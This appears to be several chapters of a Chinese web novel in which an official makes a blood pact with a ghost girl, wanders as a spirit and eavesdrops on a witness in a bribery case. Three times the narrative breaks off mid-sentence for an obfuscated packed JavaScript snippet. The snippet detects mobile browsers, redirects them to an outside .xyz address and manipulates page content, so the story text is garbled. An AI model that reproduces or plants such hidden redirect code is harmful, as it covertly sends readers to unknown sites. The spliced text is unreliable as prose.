今日大理寺并没有太多的事,杜文焕将手上的事处理完之后顺利告了假。 陆甲说赵婆子白天经常不在家中,最好日落之后再去找她。 这也遂了杜文焕的心愿,他要先去东街一趟。 回杜府换了常服,他便坐马车来到东街。 先前那个车夫昨晚之后不见了踪影,现在的车夫换成一个杜府的老仆。 “二公子,东街到了。” 杜文焕下了马车,让老仆赶车到僻静处等他,他一个人往之前遭袭的地方走去。 昨夜遭到刺杀的事他已经派人告诉了京兆府尹,马车的残骸应该是让衙役收走了。 此时东街的行人来来往往,络绎不绝,各类商贩使劲吆喝,街上十分热闹,仿佛这里昨夜什么都没有发生过。 杜文焕对这一带并不算熟,找了个人带路。 他来到道观前,给了带路人几枚铜板,在那人疑惑的表情中推开陈旧的门,进了道观。 这个道观位置偏僻,地方又小,并没有什么宏伟的建筑,进了门,过了短短的中庭,就是供奉道教神明的主殿。 进了主殿,这儿到处都是灰尘和蛛丝,即使脚步很轻,还是惊起许多灰尘,把杜文焕呛得咳嗽了几声。 他环顾四周,这里东西不多,只有些废旧的木板和散落的卦具和符纸,所以很快就在一个角落里找到一个盖了一层薄薄灰尘的陶罐。 他用帕子将上面的尘埃擦去,方才显现出它的真面目。 它体型浑圆,顶上有盖,只有两手大小,已经有些年代,上面的花纹有些磨损,看得出来不是寻常人家所用的器具。 杜文焕并不确定希夷要他找的陶罐是不是这个,又在主殿和周围的厢房找了找,但并未发现一个完好的陶罐。 他将陶罐掩藏在衣袖下,带了出去。 路上并无一个人注意他,但他莫名有种光天化日做贼的心虚。 回到杜府,他将陶罐表面擦干净,放在书桌上。 带回陶罐的路上很顺利,并没有人跟踪他,所以那些黑衣人出现在东街只是巧合? 那些人知道他的行踪,在必经之处设下埋伏杀他,这时候希夷出现,顺利救了他。 如果希夷不是鬼魂,而是普通的女子,他就不由得要怀疑这是安排好的,让人刻意接近他,谋取他的信任。 可是她是一只鬼魂,不受世俗的约束,他的权力对已死之人完全没有作用。 理智告诉他,希夷从黑衣人手中救下他绝不是巧合。即使不是图谋权力,也一定是别的东西。 只是从情感上来说,不知道为什么,他有点愿意相信她。 大约是怜悯她年纪轻轻就长眠地底。 想到这,他心里不是滋味,又转而看向那个陶罐。 盯着那个陶罐,他忽然想到一种可能:这陶罐里面不会是她的骨灰吧。 !! 他从木椅上蹦起来后退几步。 不,不可能。杜文焕很快冷静下来,思忖:怎么会有人在道观正殿里放骨灰?而且这陶罐很轻,不像装了沉甸甸的骨灰。 他又凑近打量这个陶罐,大肚小口,上面的纹样像是水波纹,绕瓶口一圈,这种样式并非京城民窑所烧制的风格,但看做工,也不像一般人家自己烧制的。 他将陶罐举过头顶,仰头查看底部,上面有几个字:维咸崇福五年制。 这是崇福五年的陶罐?杜文焕有些惊讶,毕竟现在是崇福二十四年,也就是说这个陶罐已经是十九年前的东西了。 他记得皇帝颁布禁巫令是十三年前的事,那之后,僧道巫之流才慢慢衰落,道观应该也是从那时候起慢慢荒废的。 这个陶罐难道早就放在那道观了? 但根据之前陶罐上的灰尘来看,它放在道观的时间不会很久,什么人会将它放在荒废的道观?希夷又是怎么和它扯上关系的呢? 这些问题只有等她来时才能得到答案。 在此之前,他还要与陆甲去青龙巷一趟。 ······ 日落时分,城西青龙巷,刚从赌坊回来的赵婆子满脸堆笑,她今天手气不错,赢了五十多两,不仅够还之前欠下的赌债,还有闲钱买点鸡鸭鱼肉。 这几天也不用到处替人做媒了,牵线搭桥让她嘴皮子都秃噜了。 干女儿那边也好交代,再买几盒胭脂水粉送过去,虽然干女儿不一定看得上,但也别让她忘了自己。 毕竟她可是摇钱树啊,花点小钱不算什么。 赵婆子一扭一扭地继续走,还未走到门口,远远地便看见有两个人站在她家门前。 她认得前头那个,忙上前问好:“哟,这不是陆家小子么,今儿又来看你娘?不像啊,站在老身门前做什么?” 陆甲也行了个礼,说:“赵大娘,我这次是来见您的。” 赵婆子顿时会意,挤了挤眼,掩嘴一笑,说:“难道是来找老身做媒的?也是,你已经老大不小,肯定想姑娘了吧。老身的丈夫在你这个年纪的时候,娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420039|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿已经满地跑喽!” “大娘取笑了,并不是为这个。” 陆甲往旁边一偏,杜文焕从后出来,道:“赵大娘。” 赵婆子疑惑地问:“这是?” 陆甲介绍说:“这位是大理正杜文焕杜大人,想问您几个问题。” 赵婆子闻言,脸色骤变,笑容顿时消失,把嘴一撇,对陆甲冷言道:“陆小官,老身不记得之前有得罪过你,也不曾犯过什么事,这位大人物纡尊驾临寒舍,老身怕是帮不了什么!” 陆甲皱眉,正要反驳,杜文焕摁了摁他的肩膀,示意他暂时不用讲话,随即拿出一锭银子,对赵婆子说:“小生这次来,不过是为了些私事,大娘只管把我当普通书生就好。站在门前也不能说什么,大娘何不请我们进去详谈呢?” 赵婆子见了钱,眼睛瞪得发亮,只是对面前的人还有几分警惕,犹豫半晌,还是抵不住金钱的诱惑,接了银子,又堆起笑容,“既然是客,请恕老身招待不周,二位请。” 杜文焕与陆甲随即进了门,婆子端来茶水和糕点,问:“不知大人想问些什么?” 杜文焕本想喝口茶,但见那茶盏杯口黑糊糊的,看起来是经年累月的污垢,忙把茶盏放下了,说:“小生也到了娶亲的年纪,家中长辈时常催促,但小生暂时没有婚娶的想法,想着先讨个小妾满足家中二老的心愿。看上郑敬荣家的一个丫鬟,可是郑老爷并不愿意见我,央人送信也不见回。” 郑婆子听了,不由得露出些同情。 一旁的陆甲听呆了,眼神中都是:杜大人这是真的吗?没想到你是为了这个?你居然是这样的人? 杜文焕不动声色地将这二人的表情收入眼底,知道他们是相信了,继续说:“小生听说大娘的干女儿深受郑老爷的喜爱,她又极孝顺您,想必央您去说,替我美言几句,让我跟郑老爷说几句话——” 说着,杜文焕又从袖子中拿出一锭银子。 赵婆子见了这银子两眼放光,忙不迭想扑过去拿,杜文焕避开了她的手,赵婆子忙说:“老身没什么功德,就有这么一个听话的乖女儿,大人尽管放心。” 杜文焕将银子在她眼前晃悠,又问:“昨日你在家,怎么对我避而不见?” 赵婆子的惊讶脱口而出:“昨天那个是您?” 话刚出口,她便知道自己说漏嘴,忙闭嘴不说,可已经晚了。 杜文焕冷冷地看了她一眼,眼中的冰凉吓得赵婆子后退了一步,连打算伸手拿银子的手都缩了回去。 赵婆子喊冤道:“老身只是收到口信,说昨日会有官找来,要我躲在房里别出去。“ “是谁给你的口信?” 赵婆子如实回答:“一个乞丐。” “你认识吗?” “不认识。” “那你怎么会相信他?” 赵婆子恨不得将缘由一股脑说个明白,好证明自己的清白,“老身平日也有债主找上门,听说这次是官,老身就慌了,哪敢不从。” 杜文焕不再为难,将银子递给她,赵婆子战战兢兢接过,连连道谢。 事情办完,杜文焕和陆甲也出了门。 快走出巷子时,想半天没想通的陆甲开口问杜文焕:“大人,您真的是为郑敬荣家里的丫鬟来求她的,大可不必多此一举啊?” 杜文焕本以为陆甲身为大理寺的官吏,多少可以猜到自己的意图,谁知他一点也不明白,不大想解释:“并不是,我瞎说的。” 陆甲疑惑地说:“可是您单凭这么一个老婆子要见郑敬荣并不是一件易事。” “无妨,”杜文焕说,“我只是让赵婆子把话带到,郑敬荣应该明白我的意思。他再不出面就说不过去了。” 陆甲这下明了:“您真的还要查那个案子?杜大人,下官在大理寺也有几年,但明知不可为而为之的,您还是第一个。这个案子是谁碰谁倒霉啊!” 杜文焕看了他一眼,眼中没什么情绪,说:“也许是吧。今日之事多谢你了,放心,此事我一人调查,不会给你招来祸患。” 陆甲也有这个意思,被戳破有些羞愧地低下头,正想说点什么,然而等他再抬起头,杜文焕已经走远了。 5. 旧书 晚上,杜文焕在灯盏下看书。 这些书并非他平日闲时所读的四书五经,而是从一处旧书摊买来的有关于巫术的书籍。 他并不想在不了解巫术的情况下,妄自与希夷定下只靠她所解释的契约。 自从皇帝颁布禁巫令以来,各种符劾厌胜之术被严厉禁止,许多有记载的书籍也被烧毁。 他找了许久,也只在一个的旧书摊的角落里找到这几本有提过巫术的旧书。 其中有一本,封面已经损毁大半,内页也破破烂烂,像是经过多年的风吹日晒。 勉强认得出封面写了“为官轶事”四字,著者应该是官吏。 扉页便是一句——“宰相必起于州部,猛将必发于卒伍”[1]。 上面的字迹婉若游龙,潇洒飘逸,看得出著者的书法造诣极高。 著者将为官时的经历集结成册,分为断案、水利、矿石和巫术。 著者必定在任职期间深入百姓,体谅他们的苦楚,断案时不徇私情,并且著者还十分博学,不仅为百姓兴修水利,还懂得辨别矿石。 到了最后一章,著者的笔力凌厉起来,不再是单纯的记录,而是带着强烈的情绪,似是痛恨巫师假借巫术愚弄百姓,让百姓倾家荡产供奉鬼神,致使百姓家破人亡,流离失所。 上面写了一些巫师惯用的巫术:巫师先暗地里打听村中备受排挤的人,再公然宣扬自己的符咒可以克制鬼神,在众人面前选定那人,说她(他)被鬼神附体,需要用自己的符咒才可驱散她(他)身上的鬼神,否则村子将不得安宁。 巫师所选择的村子地方偏僻,少与外界交流,医术又十分落后,故而有个头疼脑热就得祈求上苍,或是认为村里有谁“不干净”,而常被怀疑“不干净”的人往往是少与村民交往的人。 所以巫师的话,村人不敢不信,或是将此人驱逐或是直接烧死。而巫师得到了钱财。 只是,著者虽痛恨巫师,但身世似乎也与巫术有关联。 “吾生于楚地,母为巫医,深受爱戴。幼时曾随母治病救人,听得一秘法,言绝境之时,取自身鲜血与鬼神交易,无不可成。然习孔孟之道,查百姓之苦,方知‘敬鬼神而远之’[2]为治世名言。‘凡吾所见,耽巫必贫,或误其命’[3],望后人鉴之。” 照书中所言,用自身鲜血与鬼神交易确有其事,只是著者并不了解,也并不相信。 杜文焕合上这本书,又翻了翻另外几本书,倒是让他将这种交易拼凑出个七七八八。 用鲜血祭祀鬼神是很久远的传统,只是通常用的是牲畜的鲜血,如猪牛羊之类。 有时也用罪人的鲜血,以洗去上天的愤怒。 而随着巫术逐渐发展,人的欲望越来越多,与鬼神对话不再局限于必须要通过巫师的口,也不再局限于祈求风调雨顺,而是更重私利。 有巫师宣称自己通过灵魂出窍见到了鬼神,并得知鬼神愿意与人交易,媒介就是交易人自己的鲜血。 人欲望有多深,付出的代价就有多大。 而鬼神某种程度上比人更信守诺言,得到了它想要的东西,愿望自然会实现,并且这个契约是双方都知晓的。 希夷说过契约只会让他损耗精气,按照书上的说法,这不会是假的。 难道她所说的世外高人,什么积福之类的确实是真的? 杜文焕越想越不明白,思绪被一旁的陶罐牵去,甚至都没注意到旁边人影闪过。 “你在看什么?” “!”杜文焕被突如其来的声音吓了一跳,抬头对上一双清透的眼睛。 杜文焕心脏猛得跳了一下,这么静悄悄的,迟早要被她吓死。 “你下次进屋前能不能先敲个门?” “抱歉抱歉,”希夷笑嘻嘻道,“不过鬼魂敲门更恐怖吧。” 杜文焕无奈:“你这么做也很恐怖。” 希夷思索了一下,说:“要不在窗前放个风铃?这样我进来的时候就会有声,也不至于吓到你。” 杜文焕叹了口气,把书放下,抬眼看着她说:“只要你不故意冒出来就行了。” 刚说完这句话,杜文焕就发现她好像凑得太近了。 她苍白的脸庞被烛火映照得渡了一层柔光,就像是个普通的少女。 杜文焕心里明白她并不是活人,可是她的身上却有一股生命力,待在她的身边,即使是紧绷许久的心也会渐渐放松下来。 似乎感觉到他的视线,希夷望了过来,笑了一下,问:“看我做什么?” 杜文焕连忙移开眼睛,木讷地说:“没什么。” 又看到桌上摆着的那个陶罐,忙将陶罐放在希夷面前,“这是你之前要我找的陶罐,定下契约要它做什么?” 希夷刚想说,却见他表情不大对劲,不禁想逗逗他:“你猜是什么,你不会还没打开吧?” “······” 希夷看见他欲言又止,又不好明说的表情,猜了个大概,笑着说:“你,你不会觉得里面装的是我的骨灰吧?哈哈哈哈哈哈。” “?”杜文焕被猜中了想法,还被戏谑一顿,不禁有些羞恼。 希夷怕他真的生气了,忙解释说:“这里面其实并没有装什么。” 希夷将陶罐打开,里面确实空无一物。 杜文焕疑惑地看向她,希夷说:“还记得我之前跟你说的那个世外高人吗?” “记得。” “她将我封在这个陶罐里,设了禁制,以温养我的魂魄。”希夷解释,“后来禁制消失,我的魂魄也可以自由行动,但这个陶罐依旧与我联系甚深。将它作为你我之间契约的容器再合适不过。” 杜文焕再次仔细端详那个陶罐,可是它看起来仍旧只是普通的陶罐。 他又想到刚才看的那些书,便问:“在达成契约之前,我想问几个问题。既然是你我二人之间的契约,那我想先将契约的内容了解清楚。” 希夷没想到他会这么问,惊诧了一瞬,随即轻笑,并不怕他询问,“你问。” 杜文焕说:“你我二人之间的契约,就是我用鲜血和精气交换你的保护。” 希夷答:“是。” “只要我身上这些······黑气还在,我们之间的契约就还在?” “是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420040|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希夷答完,见杜文焕却没接着往下问,便笑着说:“大人,您还有什么想问的吗?” 杜文焕思索了一下,还是选择直说:“可是我看不到你所说的这些东西,怎么知道这不是你的一面之词?” 希夷却并不在意他话中的怀疑,“定下契约时,契约者是不会撒谎的。” 希夷所说,符合书中所言。杜文焕也就暂时相信了她。 他说:“那么开始吧。” 希夷问:“你有什么常佩戴的饰物吗?” “做什么?” “契约定下之后连接你我二人的器物。”希夷从头向他解释,“只要你有危险,我就可以通过你随身佩戴的饰物到你面前保护你。” 杜文焕从脖颈处拿出一个银锁:“这是我从小佩戴的银锁,其他东西只是做装饰,只有这个我不会遗落。” 希夷接过,那是一枚旧银锁,已经不再闪着明亮的银光。在银锁的中间,有一道裂痕穿透而过,像是用匕首刺穿的。 见她注意到那枚银锁的裂痕,杜文焕的脸上难得浮起回忆的表情,神情变得柔和起来,解释说:“在我很小的时候它就有这个痕迹了,至于怎么来的,我不记得。” 她隐隐觉得这银锁里有什么跟她有些许共鸣,但当务之急还是契约,于是她对杜文焕说:“契约需要用你的鲜血穿过银锁和我的手,滴落在陶罐内。划破你的手掌,隔着银锁握住我的手。” 杜文焕找出一把匕首,毫不迟疑地将左手手掌划破,他的左手与希夷的右手上下叠在一起,她的手触及十分冰冷,像深冬的寒冰。 鲜血从杜文焕的手掌流过银锁,又穿过希夷的手,滴落在陶罐内。 一滴,两滴,三滴。 杜文焕感觉魂魄刺痛又愈合,等那种刺痛感消失,他缓缓睁开眼。 魂魄似乎与面前的人多了一丝联系,那种感觉很温暖,仿佛天地之间不再是他一人踽踽独行。 希夷也睁开眼,那双杏眼如一汪泉水,映照出烛火的的悦动和面前人的模样,半晌她回过神,避开了杜文焕的眼神,说:“契约达成了。” 杜文焕也偏过头,忙不迭站起身,问:“你能带我去找郑敬荣吗?” “那是谁?” “一个关键的证人。” “嗯······我的责任只是保护你而已,”希夷笑道,“不过我可以帮你。” 说完她就从窗户跑了出去,杜文焕不由得想到她之前提的建议,在窗户外挂一个风铃。 不久希夷回来了,她去厨房取了一盏添满油的油灯,问:“你的书房一般没人过来吧?” “对。” “现在你记着,”希夷严肃地说,“在这盏油灯熄灭之前,我就要带着你的魂魄回来。” “什么?”杜文焕没听明白,但他选择相信她。 希夷让他坐在椅子上,面前摆着那盏油灯,然后握住他的手,口中念念有词。 她念的词又轻又快,杜文焕没有听清,只觉得身体晕乎乎轻飘飘的,不多时,他俯身在桌案前,看起来似乎是睡着了。 等他再醒来,就已经在杜府之外了。 6. 离魂 杜文焕醒来的时候身处在一片黑暗之中,可在这片黑暗里,他可以清晰地看到周围的事物。 他认不出这是在哪,周围似乎都是普通的民居,可是又不太一样。 有的房子歪歪扭扭,以难以想象的角度倾斜,像是年久失修;有的房子连个木门都没有,从外望去,里头黑漆漆的,十分瘆人;有的房子倒是齐整,并未缺少什么,像普通人家盖的木房。 即使天色已晚,路上仍旧有许多行人,他们个个行色匆匆,一刻也不停留,就好像停下来交谈是浪费时间。 他找了半天,才看到一简陋民居前坐着一老人,头发稀疏,倚着拐杖,盍眼养神。 他走过去,站定在老人面前,轻声唤道:“老人家。” 老人缓缓睁开眼,浑浊的眼珠好一会才倒映出面前人的模样,他微微颤颤开口:“有什么事吗?” 杜文焕作了个揖,道:“老人家,请问这是哪啊?您可知京城杜府往哪走?” “杜府?”老人闭上了一只眼睛,另一只眼倪视他,不大耐烦的模样,“不知道,小老头没听说过。” 杜文焕心中一紧,又问:“那这儿可是在京城里?” 老人闭上了另一只眼睛,“好像是吧······” 还没等杜文焕庆幸,老人接着说:“好像也不是,小老头也记不清了。” 杜文焕正想再说什么,余光瞥见老人手中的拐杖,后背一凉。 那哪里是什么拐杖,明明就只是一只枯树叉子,而且从上到下基本都腐朽了,即使是面前这样的老人,稍微用点力就能把它折断,可这老人却可以倚住它,像是将身上的重量都倚在上头。 他暗道不对,正要转身离开,老人却突然叫住了他,语气幽幽:“年轻人,你身上的气味,不像是此世的人啊?” 没等老人说完,杜文焕转身就走。 老人突然爆发出这个年纪不会有的力气,一改之前的萎靡,冲到杜文焕面前,抓住了他的手。 老人枯萎的面容上扯出一个微笑,他身形瘦弱,手指却异常有力,像枯枝一样缠在杜文焕手上,怎么也挣脱不开。 “您还有什么事吗?”老人瘆人的目光下,杜文焕语气有点发抖,额头似乎冒出了几条黑线。 对付这种东西,他实在没有任何办法。 老人“桀桀桀”地笑了几声,说:“新鲜的,美味的魂魄。” “!”杜文焕也不管什么礼貌,用尽力气甩开他的手,往路的尽头跑去。 这时,原本急匆匆的行人也不管自己的路了,在老人那句话之后都纷纷扑过来,像是饿狼扑食。 杜文焕一边跑,一边从旁边找些东西防身。 可惜的是,他什么也碰不到,不管是断裂的木板,还是路边的碎石,他的手就直接从中穿过。 就在众鬼魂将要追赶上杜文焕时,他听得不知从哪传出一声厉呵:“孽魅,从他身边滚开!” 众鬼魂被这声音惊吓住了,只见一身影闪到杜文焕面前,将他挡在身后。 希夷皱起眉头,苍白的小脸上没了往日笑意盈盈的神采,冰冷的眼神轻蔑地扫视面前这些青面獠牙的鬼魂,冷笑道:“诸位徘徊人间,不思积福投胎,再世为人,反倒妄想走邪道,还不速速退去!” 为首的老人脸上阴森森的脸庞上浮现出几丝恐惧,本想退去,可又不大甘心,又看了一眼四周的帮手,多了点底气,从空荡荡的胸腔吐出几个阴冷的字,“你如今也是鬼魂,还能收了我们不成?” 希夷知道他是害怕却不甘心,便上前一步,见众鬼魂下意识后退了一步,冷笑道:“方知天外有天,需知我收不了你们,也可以让尔等也尝一尝魂飞魄散的滋味,可要试一试么?” 众鬼魂知道她有这个本事,一个接一个快速在黑暗中消失不见了。 那老人鬼魂见情况不对,也赶紧跑了。 等他们都离去,希夷才松了口气,转身查看杜文焕的状况,关心地询问道:“你受伤了吗?” “没有。”杜文焕摇了摇头,他脸上浮现出疑虑的神色,问,“刚才那些鬼,为什么都很怕你?” 希夷见他确实没事,牵起他的手就往外边走:“先离开这里,我再慢慢解释。” 杜文焕没再说话,变成鬼魂之后,再握住她的手就没那么冰冷了。 其实是没有温度,但莫名有点温暖。 到了东街,一个阴暗的小巷中,希夷才停下。 杜文焕正想提醒她还牵着他的手,希夷却突然感知到一般,急忙放开了。 希夷歪了歪头,想让气氛没那么僵持,笑了笑,说:“刚才我是不是很勇敢,表演了一出英雄救美,快夸我!” 杜文焕看见她的笑容,也不自觉露出一个浅淡的微笑,说:“为什么是英雄救美,不是美救英雄吗?” 希夷正想说因为你是美人,话到嘴边却停了下来,她突然有点不好意思,毕竟杜文焕的话里也有这层意思。 杜文焕也自觉失言,眼神移开,不敢看她。 空气中,二人的气氛更僵持了。 还是杜文焕打破了寂静,问:“你刚才不是说要解释那些鬼为什么怕你吗?” “嗯?哦。”希夷回过神,“你知道刚才你去的是哪吗?” “哪?” “乱葬岗。” 杜文焕多少也是猜到一点,并没有多惊讶。 希夷继续说:“那些鬼魂都是生前有执念,死后迟迟不肯投胎,徘徊在阳世。但鬼魂留在阳世也是有时间限制的,用不了多久就会灰飞烟灭。而他们选择吞吃别人的鬼魂,以勉强维持自己的形态。” 杜文焕疑惑地问:“鬼魂也可以吃鬼魂吗?” 希夷点点头,说:“可以。强大的吞吃弱小的,这不仅在阳世,在阴间也是一样的法则。只是此事违背天理,所以他们最终的下场只会是灰飞烟灭。除非他人的魂魄自愿被吞噬,但这是不可能的。” “那他们怕你是因为你比他们强?可是你看起来比他们善良多了。” 听了这话,希夷仍旧是笑着的,只是笑容中不知道为什么多了一丝悲伤。 “这当然!”希夷声音莫名大了一点,似乎要靠音量把这悲伤驱散开,“我可是大好人。我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420041|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魂魄似乎生来就比别人强一点。那位世外高人给我取名‘希夷’,你知道是为什么吗?” 杜文焕轻笑着看她一脸神秘兮兮,一副“嘿嘿,你不知道吧,不知道就听我解释”的模样,摇了摇头。 “古籍有云:‘视之不见名曰夷,听之不闻名曰希’[1]。”希夷又继续解释说,“那个人说此为道家对玄妙的境界,也就是‘道’的一种解释。无形叫‘夷’,无声叫‘希’,指一种清静无为的境界。所谓‘大音希声,大象无形’[2],从无中生出有,万物都囊括其中。” 虽然这并不在杜文焕的知识范围,但他听懂了这话,“所以这名字的意思就是超然于万物?” “差不多,”希夷笑道,“具体解释起来,可能要更复杂一些。总之我的魂魄接近于这种状态,对付其他鬼魂轻轻松松啦。” 杜文焕半懂不懂,他决心下次多找些关于这些神神叨叨的书来看一看。 希夷问:“既然你明白了,那我们现在还去郑府吗?” “郑府?”杜文焕才想起来他是为了做什么才灵魂出窍的,他抬眼看了看墨色的天空,“可是现在会不会太晚了?” “嗯······那我们看一眼就回去?” “好。” 去的路上,杜文焕问:“我怎么会去乱葬岗?” 这个问题倒是真的难住了希夷,她说,“我也不知道。引你的魂魄出来时,你的魂魄‘嗖’地一下就飞走了。按理说,即使是人死后,也只是去生前印象深刻的地方徘徊,你去过乱葬岗吗?” “没有。” “那就奇了怪了······”希夷有些歉意地说,“也许是我的术法失灵了,抱歉。” “术法?” “咳咳,”希夷掩饰地咳了几下,做贼心虚地说,“鬼神的本事而已。当时那个世外高人教了我几招,要我教你吗?” “不必了。”杜文焕坚定地摇了摇头,又问,“你是怎么找到我的,我身上并没带那块银锁啊?” 希夷笑道:“感觉,是感觉。就像你第一次就能看见我一样。” ······ 到郑府时,郑老爷的房间还亮着灯,里面有两个人说话。似乎是小妾赵怜在服侍郑老爷喝药。 赵怜喂他喝了药,又给他顺了顺气,趁机说:“今天妾的干娘来找妾,说是杜文焕杜大人想见您一面。他之前也来过多次,为什么老爷就是不见他呢?” “招惹祸端。”郑老爷叹了口气,“之前高大人很喜爱这个学生,在朝堂上给他说了不少话。但现在高大人死了,听说杜老爷也不大待见他,想必以后的仕途就不会这么顺利,他肯定是想借这个机会平步青云。实际上就是找死,我可不跟他趟浑水。” 杜文焕听了,内心没什么波动,下意识与旁边的希夷对视一眼。 希夷先是恶狠狠地朝屋内瞪了一眼,然后又转过来和他对视。 虽然没说话,但杜文焕似乎读懂了她的意思:什么人啊?!别难过,别难过。 杜文焕轻轻摇了摇头,示意自己并不在意。 二人继续听墙角。 7. 布局 只听赵怜说:“老爷说的是,妾身的干娘实在不知轻重,妾身明儿就劝她躲着点杜文焕。” 郑敬荣“嗯”了一声,又拍了拍胸口,给自己顺顺气,“咳咳,是该躲躲。说起来,我与他老师也有几分交情,他越是这么坚持,我倒是越明白高大人当时为什么选中他。” “哦?这怎么说?” 刚喝了药,也不能躺下,郑敬荣的话也不由得多了点,“杜文焕的性格,说得好听些就是为官正直,说得不好听就是死倔。朝堂之上,哪个不是藏起狐狸尾巴算计?也就是杜文焕的性格,能在一堆人中得到高大人的赏识,活得久些。” 说到这,郑敬荣笑了一声,那声音里半是惆怅半是嘲笑,“高大人曾经也有这么一个学生,二十多岁就死了。现在高大人自己死了,也不用再白发人送黑发人了。” 听到这,希夷下意识看了杜文焕一眼,后者那双漆黑的眸子在夜色的衬托下显得格外沉寂。 里头,赵怜的声音在这凄凉的夜中也沾染了几分冷意,她的嘴角噙着笑,“老爷,高大人还有这么一个学生?可是妾身听说,高大人的学生个个名动京城,功绩卓著啊。” 郑敬荣说:“那确实是名动京城,当时敬佩者无数。可是都比不过权力,都比不过人心呐。” “老爷说的是。” “哎,说起来也挺可惜的,”郑敬荣感叹,“如果杜文焕坚持的不是这个案子,说不定我也提点他一二,毕竟他还年轻,又有才能,以后我或许还有指望他的地方。可惜啊,高大人一走,估计一时半会,朝中也没人敢再提拔他了。” 赵怜疑惑地问:“可是杜家在京城也算是有头有脸的世家了,杜老爷怎么不帮一帮杜文焕?” 郑敬荣嗤笑一声,“杜伊?他不过就是一个靠富商千金发家的没落官家子弟。他一向最忌讳别人提早亡的原配,连原配留下的唯一一个儿子也不待见,怎么可能帮他。” “是他的骨肉怎么可能不待见呢?” “手心手背的肉都是要分的,何况他又不止这一个儿子。几年前不是还出了件事,自己儿子都被土匪绑去大半个月了,还在和妾室你侬我侬。杜文焕能回来实属命大。他俩哪里是父子,简直都快成仇人了。” 赵怜一边用热水给郑敬荣擦拭双手,一边说:“妾身竟不知有名的杜家还有这么多事。” “哼,”郑敬荣冷哼一声,“他就是有俩争气的儿子。可惜我那唯一的儿子死活不争气,天天留恋烟花柳巷,气死我也!” 动了怒气,他又咳嗽起来,赵怜急忙给他拍背顺气,说:“老爷息怒,参儿还年轻,等成了家自然就收心了。” “给他找的,他一个都不满意,还要怎样······” 接下来他们所说的都是关于自家的私事了。 希夷和杜文焕见听不出什么,互相对望一眼,一齐离开。 出了郑府,这俩屏气凝神的状态一下子放松下来。 “你没什么要问我的吗?”杜文焕想到郑敬荣说的关于杜家的事,有些闷闷不乐,尤其身边有希夷一块听,心里更是被堵住一样。 “没有啊,问什么?” 希夷忍不住笑了起来,笑着笑着,她说:“我偷偷告诉你,其实我俩不用这么小心的,只要鬼魂不特意现身,普通人是看不到的。” 杜文焕见她笑,嘴角也不由得勾起来,脱离了□□的束缚之后,心上的负担似乎没那么重了,轻松了许多,也不再想杜家那些事,“那我们待了那么久,你怎么不提醒我?” 希夷笑道:“因为你板起脸,一脸谨慎的样子很好玩啊,你真的不大适合做贼哈哈哈。” 杜文焕无奈轻笑了一声,忽然想到之前遇见希夷时一眼就看见她了,便问:“那我之前在赵府是怎么看见你的?” 希夷摇了摇头,“我也不知道,这很奇怪。难道你是招魂体质?嗯······你的魂魄应该很特殊,不然怎么会忽然到了从没去过的乱葬岗?” 杜文焕揉了揉眉心说:“我还是别要这种特殊了,再到那种地方,再看见一堆想吞吃我的鬼魂,我可受不了。” 希夷点了点头,“别担心,我们之间有连接,出什么事我会第一时间赶到你身边的。不过离魂这种事的确需要谨慎,还是快走吧,免得再出什么意外。” 杜文焕应了一声,“嗯。”嗓音有点哑。 希夷不由得看了他一眼,以为他还在为郑敬荣的话挂心,便安慰道:“虽然他不会见你,但是肯定也有别的办法的。” “不,他肯定会见我的。”杜文焕的声音在空旷的街道异常清晰。 “为什么?” “我的手上还有一件他不得不交代的事。”杜文焕的语气愈发冰冷,“找赵怜的干娘不过是为了他最后一点体面。之前我是怕这件事涉及太多,又见他是家师好友,本来准备私下问手稿时再让他交代的。” “是什么?” “证明他受贿的书信。” 杜文焕顿了顿,又看向希夷,黑曜石般的眼眸闪着光芒,说:“这件事散布出去,可能找我的人就不止是之前的杀手了。我需要你的帮忙。” 希夷郑重地点了点头,说:“我明白。即使其他人都不站在你这一边,我也会保护你的安全。别忘记,这是我们的契约。” “嗯。” ······ 西院,离开时的那盏油灯里,火苗仍然旺盛地燃烧着,时不时悦动,墙上的阴影也跟着晃动。 杜文焕在书案上醒来的时候,希夷并没有走,而是在旁边关切地问:“你的身体怎么样?“ “头有点晕。”杜文焕感觉自己的头像是被人打了一拳,身体也十分疲累。 “早点休息吧。” “嗯。” 希夷将要走时,杜文焕叫住了她,“等等,你······”明天应该还会来吧。 “怎么了?” “没什么。” 希夷疑惑地眨了眨眼睛,见杜文焕的确没什么要说的,就从窗户离开了。 等她走后,杜文焕看向桌案,油灯已经熄灭了,之前用的灯盏里,时不时传出噼里啪啦的响声。 一只飞蛾煽动着翅膀想要扑进烛火中,可是对火光外的一层薄纸无可奈何。 